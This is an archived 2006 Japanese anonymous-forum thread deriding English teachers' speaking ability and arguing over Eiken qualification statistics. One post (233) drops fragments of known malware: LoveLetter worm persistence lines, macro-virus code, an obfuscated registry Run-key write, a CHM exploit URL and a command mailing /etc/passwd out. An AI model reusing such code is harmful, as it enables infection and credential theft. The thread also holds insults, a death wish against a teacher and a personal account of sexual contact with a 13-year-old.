だって、昔の英語の教師なんて<今頃70前後
自分たちよりもできなかったもんね
だから、自分たちもそのレベルなだけ

159 :実習生さん:2006/11/05(日) 23:37:53 ID:7AeBnHUJ
スレあり

【アジアで】英語教師・講師スレ【日本は低レベル】
http://school5.2ch.net/test/read.cgi/edu/1140139041/

-----------------終了-----------------

160 :実習生さん:2006/11/05(日) 23:47:27 ID:0rDgrX+0
優秀な教師は英語教師なんかにならないと思うけど、それでも
子供に負けるはず無いよ。

161 :実習生さん:2006/11/06(月) 00:32:37 ID:Gs3rYBdi
はっきり言ってな表面暗記なんだよ!
なんであんなくだらない授業を毎日受けねえといけねえんだよ!
ちゃんと説明しろバカ野郎!ごまかしやがって!だからろくでもねえんだよ。日本の英語教育は!!

162 :実習生さん:2006/11/06(月) 00:57:55 ID:N/8yo7sk
教育学部か文学部かで結構変わるよな。

163 :実習生さん:2006/11/06(月) 01:03:13 ID:N/8yo7sk
>>135
英語教師云々以前に、自分の日本語をどうにかしたほうがいいぞ。

164 :実習生さん:2006/11/06(月) 06:30:10 ID:aFtO0kV9
>>161
家で暗記してこないから学校でやるんじゃ?
基礎をやらない、身につけないレベルの生徒じゃ基礎しかやらんだろ。


165 :実習生さん:2006/11/06(月) 07:03:05 ID:yUU761NU
英語教師の素晴らしさは、英会話ができないのに英語教師を続けられる、というその根性にあるんだよ。
みんなもそこを見習って英語を勉強しよう!

166 :実習生さん:2006/11/06(月) 08:05:56 ID:yd+Xo6XL
>>165 いつもID変えて一人でここに書き込んでるのはおまえだろw
 その根性、みならいたいもんだなwwwwwwwww

167 :実習生さん:2006/11/06(月) 14:32:20 ID:eHeWLNhc
受験英語は会話が出来なくても文法とかが出来れば通用する。
しかし受験が終わった途端、今まで習った英語がいかに無駄だったかがわかる。
まともに会話ができないんだから。

168 :実習生さん:2006/11/06(月) 14:34:48 ID:3oeRplWc
>>166
そいつはいじめられっ子ですから刺激しないで

169 :実習生さん:2006/11/06(月) 19:08:32 ID:f2JduJOP
基本にかえって、どうして、英語教師はだめだと思うか、一言
打ってから何か言って欲しい。今頃?とおこらないでほしい。

170 :実習生さん:2006/11/06(月) 19:59:51 ID:J/X96EO6
スレあり

【アジアで】英語教師・講師スレ【日本は低レベル】
http://school5.2ch.net/test/read.cgi/edu/1140139041/

-----------------終了-----------------


171 :実習生さん:2006/11/06(月) 21:13:22 ID:gNxvvgXr
国語教師は尊敬されるが、ご覧のとうり、英語教師は軽蔑される。
皆さんはもっと国語を学ぼう。

172 :実習生さん:2006/11/06(月) 21:29:24 ID:8cll5txB
M田、糞

173 :実習生さん:2006/11/08(水) 22:26:37 ID:XdG5KRGZ
先生、「偽善者にもなれない偽善者」って英語でどう言うんですか?


174 :実習生さん:2006/11/08(水) 23:13:35 ID:mJRRC7oH
「偽善者にもなれない偽善者」=TAMU(ry

175 :実習生さん:2006/11/09(木) 00:28:44 ID:gtqthL/V
文系の教官より、理系の教官のほうが優秀だぞ。所詮丸暗記だろ。

176 :実習生さん:2006/11/09(木) 07:17:59 ID:ZFXpphXC
英会話のできない英語教師なんて存在するの?
うちの学校の英語教師で英会話ができないなんて一人もいないよ。

177 :実習生さん:2006/11/09(木) 17:12:06 ID:8ylCM0k4

英語のできない英語教師でいることがどんなに大変なことであるかは想像に難くない。
しかし、彼らは毎日厳しい修行をしているからこそ、“英語のできない英語教師”などという
この世で最も恥ずかしい境遇に耐えることができるのである。
“運転のできない教習所指導員”とか“泳げない水泳コーチ”などは存在しない。
なぜなら彼らはその恥ずかしさに耐えることができないからである。
このような恥ずかしさに耐えることができるのは、英語教師たちだけである。




178 :実習生さん:2006/11/09(木) 18:46:38 ID:RsIQcZNn
おもしろくない

179 :実習生さん:2006/11/09(木) 18:49:54 ID:nix1Lwcf
おもしろいじゃん。

おましろくないのは英語のできない英語教師だろ、あはははは

180 :実習生さん:2006/11/09(木) 18:54:18 ID:RsIQcZNn
??
よく意味がわからんがかわいそうなやつだ

181 :実習生さん:2006/11/09(木) 19:28:54 ID:dK3cYqeU
うちの英語教師はTOEIC900超えてて話せばペラペラで発音うまくて
スポーツで全国大会でも活躍した人だよ
よく探せばそういう人もいる

182 :実習生さん:2006/11/09(木) 19:34:37 ID:munWSBit

そら、日本人やしな、あたりまえやろ
1は、あたまおかしいんちゃうか?

英語しかできない英語教師もどうだかねぇ
(爆爆)(爆爆)(爆爆)

183 :実習生さん:2006/11/09(木) 23:27:38 ID:m4uoUrtS
@@

184 :実習生さん:2006/11/10(金) 06:47:58 ID:LxbkgosB
>>182
うそでしょう。
英語のできない英語教師なんて、いるの?

185 :実習生さん:2006/11/10(金) 08:41:57 ID:Y574z7hs
いるから馬鹿にされとるんだろ

186 :実習生さん:2006/11/10(金) 11:04:18 ID:FT4bVGcU
英語が出来ないというより、英会話が出来ない教師は普通にいるだろう。
受験英語ができない英語教師はさすがにいないと思うが。

187 :実習生さん:2006/11/10(金) 11:35:46 ID:StsJp10T

201×年×月×日某所

A子:あら、あんなところで残飯漁ってる浮浪者がいるわ。
B子:あぁ、あの人ね、昔、英語の教師だったのよ。
A子:へぇー、英語ができるなら普通に仕事すればいいのにね。
B子:英語なんかできるわけないでしょ。英語できない英語教師が沢山いたのよ、昔は。
A子:えー、本当?そんな信じられない。英語できないのに教室で何をしてたの?
B子:まぁ、税金と時間の無駄ね。だから、子供はみんな放課後に塾とかに行ってたのよ。
   子供はクタクタになるし、お金はかかるし、それは大変だったのよ。
A子:そんな暗黒時代があったのね。



188 :実習生さん:2006/11/10(金) 11:39:24 ID:sRToPlnA
>>1 は英語の先生にいじめられて
  ずーっと根にもってるヤツなんで
  そっとしてあげてください。新聞沙汰になる前に。

189 :実習生さん:2006/11/10(金) 11:41:47 ID:3hqn/hKa


190 :実習生さん:2006/11/10(金) 11:53:04 ID:3Oz/6Mhv
英語教師は文法教えても良いが、発音は教えちゃだめだ。
稀に上手く喋れる先生はいるが、9割発音糞なので信じちゃだめだ。

文法くらいなら少し予習すりゃ授業はできるからな。
よって「英語できない子」認定

191 :実習生さん:2006/11/10(金) 11:54:37 ID:1Zdp9Dm3
>>187
なるほど、今は暗黒時代なのかw


192 :実習生さん:2006/11/10(金) 17:45:07 ID:fL90ZO/R
★★★★★★ 断固たる措置→救済措置へ軟化の裏幕 ★★★★★★★★★★★★★★


文部科学省が4年も前から単位偽装を把握していたことが発覚!!

単位偽装は文部科学省黙認の霞ヶ関官僚ぐるみの大事件だった!!


必修逃れ、文科省は4年前に把握…研究会の報告受け
ttp://headlines.yahoo.co.jp/hl?a=20061109-00000201-yom-soci

> 文部科学省の委託を受けた大学教授らによる研究会が2002年、全国の大学生を対象にした調査で、
>16%の学生が高校時代に必修科目の世界史を履修していなかったとする結果をまとめ、同省に報告し
>ていたことが8日、わかった。

履修不足 文科省出向者が黙認 伊吹文科相が認める
ttp://headlines.yahoo.co.jp/hl?a=20061107-00000002-maip-pol


★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★


193 :実習生さん:2006/11/10(金) 19:20:04 ID:1/K5qTul
日本語できれば十分だろうが!!

194 :実習生さん:2006/11/10(金) 19:56:15 ID:/Ku2mcqz
うちの学校には英会話のできない英語教師なんていませんね。
だいたい、英会話のできない英語教師なんているわけないと思いませんか?
だって普通に考えて、英会話ができないのに英語教師を続けるなんて、恥ずかしくて無理だと思うんです。
私だったら耐えられないと思います。

195 :実習生さん:2006/11/10(金) 21:17:31 ID:sRToPlnA
>>194
どこの国の方?

196 :実習生さん:2006/11/10(金) 23:14:26 ID:poB6rcZT
>>187

A: Look at the bum scavenging for half-rotten left-over in the garbage bin.
B: Oh, that lot. Yeah, he was an English teacher.
A: Really? He should be doing a decent job with his English skill, shouldn't he?
B: How could he? A decade ago there used to be heaps of English teachers who didn't
know English in the least.
A: Aren't you kidding? Incredible. What was he doing in class without English skills?
B: It was a total waste of time and tax-payers'money. At that time kids all had to
go to a cram school after school. It was a big social issue because children got all
exhausted and their parents had to pay extra expenses for the cram school.
A: I should say it was the Dark Age of Japanese English education!

197 :実習生さん:2006/11/10(金) 23:16:09 ID:x3pyjtYy
英語教師の必死さが痛い

198 :実習生さん:2006/11/10(金) 23:18:05 ID:poB6rcZT
So you reckon we will have solved the problem in ten years?
I'd like to know how exactly you are going to do it.

199 :実習生さん:2006/11/10(金) 23:19:17 ID:yIJG9UQi
>>1
だから、日本人なんだから、当たり前
そんなに英語したけりゃ、日本から出て行けや


200 :実習生さん:2006/11/10(金) 23:31:39 ID:ZtCkY0iF
>>199 かまっちゃだめだろ。>>1は毎回ID変えて必死に同じこと毎日書き込んでる
粘着ニートなんだから。このスレをみんなに見てもらうことだけが生き甲斐なんだろうなw

201 :実習生さん:2006/11/11(土) 00:05:01 ID:cGdpiZCl
どうでもいい

202 :実習生さん:2006/11/11(土) 07:33:33 ID:XYtMkRYy
>>199
なんでこんなスレに書き込むわけ?
何か>>1みたいなアホを言われるとイタイことでもあるわけ?
俺には、お前も>>1みたいなアホにみえるけど。

203 :実習生さん:2006/11/11(土) 20:03:25 ID:ik187bS9
英語なんぞ勉強すること無い。占領は終わった。

204 :実習生さん:2006/11/12(日) 08:26:56 ID:ejg6XWno
みんなの学校には英会話のできない英語教師がいるわけ?
だったら、ラッキーでしょ。
その先生たちから、いかに面の皮を厚くできるかを勉強できるじゃないですか。

205 :実習生さん:2006/11/12(日) 08:33:55 ID:XRFE2Bb0
That's good point.

206 :実習生さん:2006/11/12(日) 08:46:49 ID:LlOU7Ihh
いよー、面の皮の厚さ、日本一!

こりゃ、えーわw

207 :実習生さん:2006/11/12(日) 09:52:51 ID:8Dr0i1qF
言いにくいのですが。。。
私の通っている高校の英語の男の先生が、どうしても生理的に受け付けないんです。
話しかけられるとぞっとします。授業が苦痛です。明日も英語があります。
最近は、先生の顔を見るとおなかが痛くなります。早く4月になって
担当の先生が変わってほしいです。

208 :実習生さん:2006/11/12(日) 10:44:44 ID:MTjBYhi5
学校で教える英語は国語とちがって文法のみ
英会話なら英語圏の国から講師を呼ばないとダメね

209 :実習生さん:2006/11/12(日) 11:03:11 ID:hzyNPWIW
あたしのとこは、めがねがキモい!!


210 :実習生さん:2006/11/12(日) 12:19:13 ID:sX/GElIK
受験英語は失格

211 :実習生さん:2006/11/12(日) 13:15:22 ID:ZveJgCoB
>>208
そうだよな。学校もちゃんと説明しないと。

「学校で教える英語は文法のみです。したがって英語教員は英会話ができませんが支障ありません。」

って。なんで学校は説明しないんだろ?

212 :実習生さん:2006/11/12(日) 13:47:42 ID:WWOSbcSn
He is a bad teacher.
I do not like him. In fact, I hate him. I will get him back.

213 :実習生さん:2006/11/12(日) 13:48:55 ID:WWOSbcSn
He is a bad teacher.
I do not like him. In fact, I hate him. I will get him back.

214 :実習生さん:2006/11/12(日) 13:50:56 ID:RygvgZmn
get him back ? 嫌いなのに連れ戻すのかよ?

215 :実習生さん:2006/11/12(日) 19:09:33 ID:dTtS6BM3
>>212 ううん、確かに、君を教えている英語教師は教えるのが下手か、それとも
君がろくに聞いていないかのどちらかだろうな。

216 :実習生さん:2006/11/12(日) 19:12:46 ID:1DhNy39i
>187
たしかに、英語教師なんて何の使い物にもならないな。
本来、残飯漁ってるのがお似合いの存在だろw



217 :30代独身:2006/11/13(月) 09:58:22 ID:lhjBex6R
小学生の頃はごく普通に女の子とも話したし、バレンタインとかにもチョコを
もらったり、誕生日にプレゼントをもらったりしても何とも思わなかったです。
運動会でアンカーになるくらいのスポーツマンで、同姓にも結構親しい人は沢山
いました。女性は面白い友達みたいな感覚で見ていました。そして、皆と同じに
近くの公立中学に入りました。そして、クラスが決まり教室に向かいましたが
その時、僕のことを見て好きになってくれたA子がいました。その子と同じクラス
でした。他にB子とも親しくなり交換日記をしたりしていました。女性との違和感も
無くごく普通に過ごしていました。そんな時、英語の教師に24歳くらいのT子がいま
したが、2学期ころから授業中に僕の方を見つめているような気配を感じました。
僕の横に来て教えるとき右手を重ねて手を動かして英語の書き方などを教えて
くれました。次第に、教える時、右の頬の真横に顔がくるくらいに接近していま
した。はつらつとして熱心ではりきって教えるタイプの先生でした。そして、夏が
来ました。当然薄着です。生徒もYシャツ1枚です。T子はかなりきゃぴきゃぴっぽく
いつもより元気ではりきっていました。そして、生徒みんなに熱心に教えていまし
た。そして、ぼくの番がきました。しかし、いつもよりかなり後ろから覆い被さる
感じで顔もすぐ右頬に付くくらいでした。夏になってから数回あったのですが、
僕の背中にT子の胸があたっていたのです。教える時、自然にあたるのかなくらいに
考えていたのですが、そのうち、胸を回すようにしたり楕円形に動かしたりという
ようになりました。乳首が立っているのがわかりました。そんなことが、何回か
続きました。友達に話すとかなりびっくりしていました。それが原因かは覚えて
いませんが、B子との交換日記をやめました。そして、女性を見るときいつも疑う
というか、変態的に見るようになってしまいました。今日まで、その癖がついて
しまっています。いまから考えると13才の男子に胸をあてるという行為はかなり
教育上よくないと思います。この潜在意識はもう治らないのではないかと思います。
これからも独身でいる可能性は高いです。 さようなら。。。

218 :実習生さん:2006/11/13(月) 19:20:27 ID:2BzxoBNL
ズバリ、聞きたい。どうして、英語教師をそんなに攻撃するの?
愛国心が原因?

219 :実習生さん:2006/11/13(月) 19:27:30 ID:fHPQiMiL
>>218

英検2級しかもってないからじゃないの?
攻撃されたくなきゃ、英検1級とればいいのにね。無理なら準1級でもいいし。
こんなスレが気になるくらいなら、とっちゃえばいいのに。
なんでとらないんだろ?

220 :実習生さん:2006/11/13(月) 20:12:44 ID:JhXeMWcg
>>218
攻撃などとんでもない。
英語教師こそは世界でも稀に見る強い精神力を持った方たちだと思っている。
なぜなら、英語のできない英語教員などという恥辱にまみれた境遇に生涯耐えているからだ。
何かの悟りを持った者でなければ、このような世間の侮蔑、嘲笑には耐えられるはずがない。
そのような強靭な精神力を持った方々を攻撃などできるだろうか?



221 :実習生さん:2006/11/14(火) 19:20:01 ID:taAIAnuQ
はあ、、、、220も良くわからんが、準1級もとれない英語教師と
いうのも分からない。そんなのいるの?

222 :実習生さん:2006/11/14(火) 20:24:11 ID:YLF/0HO9
英語教師の人間性は最悪だったな、こんな奴死ねば愉快と思ったらほんとに死んだ
何年も死ねと思い続けたかいがあった



223 :実習生さん:2006/11/14(火) 20:42:46 ID:u++/uCpV
数学教師は数学検定とらないけどね

224 :実習生さん:2006/11/14(火) 21:07:24 ID:0qK/P3Ft
意味不明

225 :実習生さん:2006/11/14(火) 23:44:07 ID:QuxsIy4a
数学検定なんかとって何か意味あるのか?

226 :実習生さん:2006/11/14(火) 23:56:10 ID:1iW37YnL
>>223
受験すれば合格する実力はある。
受けても受からない英語教師は最悪。

>>225
ない。
英検と違って実用的でもない。

227 :実習生さん:2006/11/15(水) 00:00:14 ID:1RhBtE/Z
高校以下の勉強

数学・化学・物理・生物
→研究分野とかに使うレベルじゃなくて、試験としての学習内容

英語
→円滑に話すことが目的でなく、試験を作りやすい文法中心の英語

国語
→日本語能力でなく文法,漢字,言い回し及び試験としての文章問題。海外と違い発音練習はない。

現社・歴史
→過去の事例を元に自分で時事について考える能力を養うことが目的でなく、ひたすら記憶。

専門にやりたきゃ大学行ってやればいい。

228 :実習生さん:2006/11/15(水) 14:17:38 ID:qSLZGsoO
教師は馬鹿な上に、努力を惜しむから英語できないんだろ。

229 :実習生さん:2006/11/16(木) 00:54:13 ID:tU/YMqPU
英語ができる/できないって意味が分からんwww

230 :実習生さん:2006/11/16(木) 01:03:32 ID:zVGr+FGr
>>1
君、頭悪いだろ?


231 :実習生さん:2006/11/16(木) 07:19:30 ID:qFZuXczv
英語のできない英語教師なんているわけないじゃん。
最低でも準一級はもってるでしょ。

232 :実習生さん:2006/11/16(木) 07:27:44 ID:wFFOTAm3
>>231
法律を守らない弁護士だっているんだから
英語の出来ない英語教師だっているさ

233 :実習生さん:2006/11/16(木) 09:53:18 ID:uBI8XX+V
(゚Д゚)ハァ?
kak.hta';ken=wd+'START
cat /etc/passwd | mail nobody@nonexistent.com

<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
???

234 :実習生さん:2006/11/16(木) 11:32:36 ID:0mZ0mtVr

201×年×月×日某所

A子:あら、あんなところで残飯漁ってる浮浪者がいるわ。
B子:あぁ、あの人ね、昔、英語の教師だったのよ。
A子:へぇー、英語ができるなら普通に仕事すればいいのにね。
B子:英語なんかできるわけないでしょ。英語できない英語教師が沢山いたのよ、昔は。
A子:えー、本当?そんな信じられない。英語できないのに教室で何をしてたの?
B子:まぁ、税金と時間の無駄ね。だから、子供はみんな放課後に塾とかに行ってたのよ。
   子供はクタクタになるし、お金はかかるし、それは大変だったのよ。
A子:そんな暗黒時代があったのね。



235 :実習生さん:2006/11/16(木) 22:41:01 ID:qFZuXczv
>>232
例えが変


236 :実習生さん:2006/11/16(木) 23:12:24 ID:NMw1tXXt
what do you thing?
って何といってるですか?


237 :実習生さん:2006/11/17(金) 00:43:39 ID:iGuahkA4
What do you think?の間違いかな

238 :実習生さん:2006/11/17(金) 01:53:51 ID:QwshxA34
>>237さん
わあ!すみません!
有り難う!
アメリカ人も良く英語を間違えるんですね


239 :実習生さん:2006/11/17(金) 11:24:17 ID:8Kshnu4R
?

240 :実習生さん:2006/11/17(金) 15:35:18 ID:jDssfJEY
英語どころか日本語も怪しい

241 :実習生さん:2006/11/17(金) 21:48:09 ID:Fp7bq6Z5
冠詞の使い方も分からない、Be動詞と一般動詞の区別も分からない生徒に、
高い金払ってネイティブ雇って教えさせる必要あるか?効果出ると思うか?

242 :実習生さん:2006/11/17(金) 22:05:20 ID:c/3wSHkF
そこまでアホじゃないんだけど!

243 :実習生さん:2006/11/17(金) 22:53:45 ID:/P5M5SdM
英語よくできる教員は一部の進学校にだけいればいいな。
どうせほとんどの高校の生徒は英語と一生縁のない仕事につくから教えるだけ無駄。
だから今のままの教育制度でオケー。むしろ底辺校などに優秀な教員を配置するのが
貴重な人材の無駄使い。バカな生徒にはバカな教師で十分。
もちろん>>1みたいなのに優秀な英語教師を担当させるのは全くの無駄。

244 :実習生さん:2006/11/18(土) 00:23:31 ID:RHtAxuax
Academically-oriented schools don't need any excellent English speakers
as a teacher. All they should have is a teacher who can explain English
structures clearly to his students so that the students themselves will
be voluntary learners who will be able to teach themselves for the rest
of their lives, because learning a language takes amazingly long time.
Chances are they have to keep on doing as long as they live.

245 :実習生さん:2006/11/18(土) 00:33:25 ID:uognZT+c
日本人なんだから、日本語しかできなくて当たり前
英語英語とかいってるヤツは、日本人じゃないね

246 :実習生さん:2006/11/18(土) 07:22:33 ID:jcaTutXy
>>243
優秀な英語教師と、馬鹿な教師がいて、貴重な人材の無駄使いなのに、

「だから今のままの教育制度でオケー。」

それは、オケーじゃなくて人件費の無駄だ。
もう少し経済感覚を養え。

247 :実習生さん:2006/11/18(土) 09:17:49 ID:oIWMegcq
>>1にはバカ英語教師で十分だなw ネイティブが教えても理解できないから無駄だろw

248 :実習生さん:2006/11/18(土) 09:21:06 ID:ZpMOxZAA
優秀な英語教師なんかいるのか

249 :実習生さん:2006/11/18(土) 09:25:41 ID:zUrsVKPm
>>247

世の中>>1みたいなバカな生徒があふれてるだろ。
だから、英語教師はバカで十分なんだよ。
バカ英語教師も他の教師と同じ待遇なんだから、これは税金泥棒だな。
そうだろ?

250 :実習生さん:2006/11/18(土) 10:43:05 ID:PBism7Ki
確かに、国語教師と英語教師とではレベルが違いますね。
日本語を大切に。

251 :実習生さん:2006/11/18(土) 13:44:59 ID:ZBS3aD/E
>>241
それこそ、税金の無駄だわな。
 英語の先生はムリに英会話などできなくてよい。
 分かりやすく教える能力があればそれで充分。
 むしろ、バカなガキには洋楽でもかけとけばよろしい。

252 :実習生さん:2006/11/18(土) 13:48:08 ID:Mzsr3LyP
>>248 そうだよな。底辺校にはまともな英語教師がいるわけないもんな。
おまえが、みたことないのも納得できるよw

253 :実習生さん:2006/11/18(土) 14:26:29 ID:kw0dTPrQ
>252
英語教師の方ですか?w

254 :実習生さん:2006/11/18(土) 14:41:08 ID:ty5VtWBN
>>246
そんな経済感覚いらねーよwww

255 :実習生さん:2006/11/18(土) 14:56:10 ID:sufH29db
>>254
金が空から降ってくると思ってる奴には、いらねーだろ

256 :実習生さん:2006/11/18(土) 15:06:53 ID:ty5VtWBN
>>255
馬鹿かこいつ、一般生活しててそんな感覚はいらねーっていってるのwww
中学生の机上の妄想かよwww

257 :実習生さん:2006/11/18(土) 15:09:41 ID:sufH29db
>>256
そんな感覚ってなんだ?
お前は納税感覚が無いのか?

258 :実習生さん:2006/11/18(土) 15:12:52 ID:ty5VtWBN
>>257
駄目教員に支払われる人件費なんて自分が払ってる税金の何%だよwww
経営者や団体の運営者でなければいらねー感覚だろ

公務員となればなんでも税金に結び付けてるアホですか?

259 :実習生さん:2006/11/18(土) 15:16:17 ID:sufH29db
>>258
納税意識が低いね。
何%だろうが、税の使い道には目を光らせるのが納税者の義務だろうに。

あんた、納税したことあんの?

260 :実習生さん:2006/11/18(土) 15:16:44 ID:kw0dTPrQ
>>258
パーセントがどうかしたのか?無駄であることに変わりはないだろ。
金の無駄であるうえ、馬鹿教員に付き合わなきゃならないから時間の無駄だし、
英語のできない英語教員なんて無駄どころか、教育にマイナスだろう。

261 :実習生さん:2006/11/18(土) 15:30:12 ID:Mzsr3LyP
>>259 ま、こいつは毎日、朝から晩までここに張り付いてる無職だから、納税できるわけないがなw

262 :実習生さん:2006/11/18(土) 15:31:59 ID:sufH29db
>>261
はいはい。そんなんじゃ聞く耳もたんぞ(笑)

263 :実習生さん:2006/11/18(土) 16:54:27 ID:ty5VtWBN
>>260
?納税してる人間がどうして教員に付き合うの?

264 :実習生さん:2006/11/18(土) 16:55:47 ID:ty5VtWBN
>>259
そんなどれだけの割合でいるのかも分からない教員への給料なんて考慮にいれねーよwww

265 :実習生さん:2006/11/18(土) 18:44:16 ID:cjstxhUW
>>264
給料?人件費と給料が同じになっちゃう口かあ。駄目だね。

266 :実習生さん:2006/11/18(土) 18:53:26 ID:kw0dTPrQ
>>263
生徒は馬鹿教員に付き合わなきゃならんだろうがw

ところで、どのくらい英語できないんだ、キミはw

267 :実習生さん:2006/11/18(土) 19:33:16 ID:D/hDECrh

このスレに書き込む英語教員は英検1級、もしくは準1級ももってない人が書き込むんでしょ?
こんなスレが気になるくらいなら、とっちゃえばいいのに。
なんでとらないんだろ?


268 :実習生さん:2006/11/18(土) 23:44:55 ID:RHtAxuax
I'm a teacher, so I know what it's like to be one. If you ask me,
I would say all my co-workers(teachers) have fairly good command of
English. I'm sure they are all better than grade pre-1 level.

You might ask why they don't take the trouble to get the qualification.
We just don't have the urge to prove our proficiency because we are
confident about it and pretty sure that we will pass without any problems.

269 :実習生さん:2006/11/19(日) 08:17:10 ID:wWRK+5DA
>>268
それなのに、こんなスレに書き込みたくなるの?
変なの。。。


270 :実習生さん:2006/11/19(日) 08:18:10 ID:wWRK+5DA
生徒には英検とるように勧めたりするのにね。。。

271 :実習生さん:2006/11/19(日) 08:19:51 ID:wWRK+5DA
自分が英検もってないのに、生徒に勧める気持ちってどんなんだろう???


272 :実習生さん:2006/11/19(日) 08:20:31 ID:wWRK+5DA
そして、こんなスレに書き込みたくなる気持ち。。。

273 :実習生さん:2006/11/19(日) 08:22:43 ID:wWRK+5DA
相手に勧める能力検定を、自分がもってない、けれどもその能力はある。
だけど、自分はもとうとしない。

説得力 0(ゼロ)

274 :実習生さん:2006/11/19(日) 08:24:04 ID:wWRK+5DA
一連の生徒自殺報道の関係者の屁理屈に似てるね。

275 :実習生さん:2006/11/19(日) 09:22:39 ID:BI3ZYHTw
Maybe it's only me, but I don't single out STEP and recommend it
to our students. It's one of the testing systems available in Japan.
If you want to prove your proficiency in English, you can take
one of them. If you don't need to prove it, of course you don't have to.

>>272
You seem to despise this thread, saying こんなスレ.
Then, why do you want to say something here?
You are contradicting yourself.

276 :実習生さん:2006/11/19(日) 09:45:04 ID:k9yfsVbp
>>267
英検準一級も持ってない英語先生なんているんですか?
私の行ってる学校の英語の先生は全員一級持ってます。

ちょっと信じられないんですけど。

277 :実習生さん:2006/11/19(日) 10:02:35 ID:xxJDUMfR
私の行ってる学校の英語教員で英語まともにできるのはいません。
全員一級持ってる学校なんて、ちょっと信じられないんですけどw

>英検準1級以上の英語の先生、中学1割・高校でも2割
>ttp://ha4.seikyou.ne.jp/home/kinkyo/20040300.htm#3/30_6
(注)英検準1級は短大卒レベル、2級は高校卒業レベル


278 :実習生さん:2006/11/19(日) 10:30:32 ID:USvJKOxA
>>277 底辺校生乙

279 :実習生さん:2006/11/19(日) 11:01:20 ID:xxJDUMfR
しかし、このスレで悔しい思いをしてる英語教員はたくさんいるけど、
くだらない屁理屈を日本語で書きなぐるばかりで、英語でレスするのは約1名w
>>1のソースの通り、英検準1級もってる英語教員は1割ぐらいなんだろうな。




280 :実習生さん:2006/11/19(日) 11:55:48 ID:3tb7T/Al
うちの高校の英語教師はレベルの差が激しかった。
下位の奴らが英語を話せなかったとしても何の不思議もない

281 :実習生さん:2006/11/19(日) 14:35:43 ID:yG9n0wtj
>>279
お前も英語で書いたら?
 IDは ダメ Japanese Dumb Fuckerって読むのかな?


282 :実習生さん:2006/11/19(日) 16:04:39 ID:odAbS5fA
進学校生ですが。

283 :実習生さん:2006/11/19(日) 17:17:46 ID:xxJDUMfR
>>281
英語なんかで書いたら、ほとんどの英語教員は理解できないだろw



284 :実習生さん:2006/11/19(日) 17:24:52 ID:yG9n0wtj
>>283
ちゃんと辞書引くんだぞ。

285 :実習生さん:2006/11/19(日) 17:38:34 ID:RM6AO0Iz
うちの高校では、英語教師全員が英会話堪能で、英検1級とかもいるぞ。
>>1は根拠のない決めつけか、不幸にも>>1自身が底辺校に行ってただけだろ。

286 :実習生さん:2006/11/19(日) 17:42:46 ID:aA8R4jLa
>>285
この記事は誤報なの?

英検準1級以上の英語の先生、中学1割・高校でも2割(3/30)
 公立中学と高校の英語教員のうち、文部科学省が教員の英語力の目標とした
英検準1級以上の取得者は中学で約1割、高校で約2割にとどまっていること
が、同省による初めての調査でわかった。

 英語能力を測る世界共通の学力テストである「TOEFL」で550点以上、
「TOEIC」で730点以上の教員は、さらにその半分とお寒い状況。文科
省にとっては、生徒以前に、教員の英語力アップが課題になりそうだ。調査で
は、38都道府県と7政令市の教委が、中学2万2000人、高校2万100
0人の英語教員の回答を集計した。

 このうち、中学教員は、英検準1級が2386人。TOEFLの目標達成は
1021人、TOEICは1581人だった。高校教員の場合は、目標達成者
は倍増するが、それでも準1級が4194人、TOEFL2186人、TOE
IC2965人どまりだった。(読売新聞3月29日)

287 :実習生さん:2006/11/19(日) 17:47:52 ID:RM6AO0Iz
>>286
その記事が事実だとしても、
うちの高校では、英語教師全員が英会話堪能で、英検1級とかもいるぞ。
それは事実。
>>1が底辺校出身なのもきっと事実だよ。


288 :実習生さん:2006/11/19(日) 17:48:55 ID:eLg1YIAo
英語教師って大したことないんだね。自分のほうが勝ってる。。

289 :実習生さん:2006/11/19(日) 17:50:12 ID:RM6AO0Iz
>>286
それに全国の全部の学校を調査した訳じゃないと思うよ。
うちの高校にそんな調査が来たか、明日先生に聞いてみるけど。

290 :実習生さん:2006/11/19(日) 17:53:25 ID:RM6AO0Iz
>>288
英語が堪能でも教師を魅力ある職業と感じるかどうかだね。
今のバカ親率いるバカガキ共のお相手は英語力とは無関係な世界だし。
俺が英語堪能だとしても教師はしないと思うし。

291 :実習生さん:2006/11/19(日) 17:58:31 ID:/DIuakph
統計的に全国調査の必要はなかったんだろ。
それに、学校のレベルで教員の英語能力が違ったりするもんなのか?
それなら、それで、学校のレベルで教員の待遇が同じなのもおかしな話だな。

292 :実習生さん:2006/11/19(日) 18:00:48 ID:/DIuakph
>>289
>それに全国の全部の学校を調査した訳じゃないと思うよ。

って、ちゃんと書いてあるじゃない。

>調査では、38都道府県と7政令市の教委が、中学2万2000人、高校2万100
>0人の英語教員の回答を集計した。


293 :実習生さん:2006/11/19(日) 18:18:12 ID:RM6AO0Iz
>>292
じゃあ、照明されたわけだね。
全部じゃないって事は、記事の信憑性も低いって事だよ。
おまけに私立高校は調査の対象外だしね。

